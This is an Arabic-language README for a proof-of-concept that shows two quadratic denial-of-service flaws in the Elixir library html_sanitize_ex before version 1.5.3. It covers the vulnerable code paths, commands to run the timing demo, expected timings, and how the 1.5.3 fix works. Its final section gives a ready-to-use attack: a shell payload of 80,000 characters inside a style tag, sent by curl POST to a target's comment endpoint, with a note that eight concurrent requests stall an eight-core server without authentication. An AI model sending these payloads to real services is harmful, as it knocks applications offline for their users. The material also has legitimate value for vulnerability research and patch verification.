
إثبات المفهوم (PoC) الذي يوضح هجوم حجب الخدمة (DoS) التربيعي في مكتبة Elixir html_sanitize_ex عبر HTML مُصمَّم خصيصًا؛ يتضمن قياسات زمنية للأداء، وأوامر curl للاستغلال عن بُعد، والتحقق من الإصدارات المُصحَّحة.
حجب خدمة تربيعي في html_sanitize_ex < 1.5.3.
توجد المكتبة لتحييد HTML غير الموثوق، لكن مسارَّي كود مستقلَّين بأداء فائق الخطية (super-linear) يسمحان لطلب واحد مصمَّم بعناية بإشغال مجدول BEAM بالكامل لثوانٍ. وعدد قليل من الطلبات المتزامنة يُشبع تجمّع المجدولين فيتوقف التطبيق عن الاستجابة. الأثر يقتصر على التوفّر فقط (CVSS 8.2 — عالية).
| CVE | المكوّن | موطن الضعف | المحفّز |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (تراجع في التعبير النمطي) | تشغيلة طويلة من محارف الكلمات داخل <style> تنتهي بعلامة : |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (اجتياز تربيعي) | تشغيلة مسطّحة من وسوم أشقاء مسموحة (مثل <b>a</b> × 20,000) |
CVE-2026-68749 لا يمكن الوصول إليه إلا عبر
html5/1(أو مُنقٍّ مخصّص يمدّد:html5). CVE-2026-68750 يوجد على كل نقطة دخول عامة، بما في ذلكbasic_html/1وmarkdown_html/1وstrip_tags/1.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
المتطلبات: Elixir ≥ 1.14 واتصال بالإنترنت (لجلب اعتماد Hex).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
المتوقع على النسخة الثغِرة 1.5.2 — أزمنة الهجوم تفوق الأزمنة الحميدة بفارق شاسع. الشكل المتوقع (توضيحي؛ القيم المطلقة تعتمد على العتاد، لكن مرتكزَي الهجوم مأخوذان مباشرة من نشرة EEF CNA):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
المغزى هو النسبة: الهجوم أبطأ بمراتب مقدارية من مدخل حميد بحجم مماثل، وإدخال بحجم 10× يكلف جهدًا أكبر بكثير من 10×. رقما 2.4 ثانية (<style> بحجم 80 كيلوبايت) و1.7 ثانية (20,000 وسم أشقاء) منقولان من النشرات الأمنية المنبعية.
عدّل mix.exs وارفع الإصدار المثبَّت إلى الإصدار المُصحَّح:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
ثم أعد التشغيل:
mix deps.update html_sanitize_ex
mix run poc.exs
على الإصدار 1.5.3، تنهار أزمنة المدخلات الحميدة والهجومية إلى نفس مرتبة المقدار، لأن الإصلاح يضع حدًّا أقصى لمجموعة التعبير النمطي ([-\w]+ → [-\w]{1,64}) ويعيد كتابة منطق الاجتياز ليصبح Enum.reduce واحدة + List.flatten/1 واحدة (O(n²) → O(n)).
في تطبيق Phoenix حقيقي، تحدث هذه الاستدعاءات حيثما يعقّم الخادم نصًا منسّقًا مقدمًا من المستخدم. يكتفي المهاجم بإرسال الحمولة عبر POST كقيمة للحقل — دون الحاجة إلى مصادقة:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
ثمانية طلبات متزامنة من هذا القبيل تُشبع مجدولات BEAM الثمانية كلها على مضيف بثمانية أنوية.
لأغراض تعليمية / اختبارات مصرَّح بها فقط.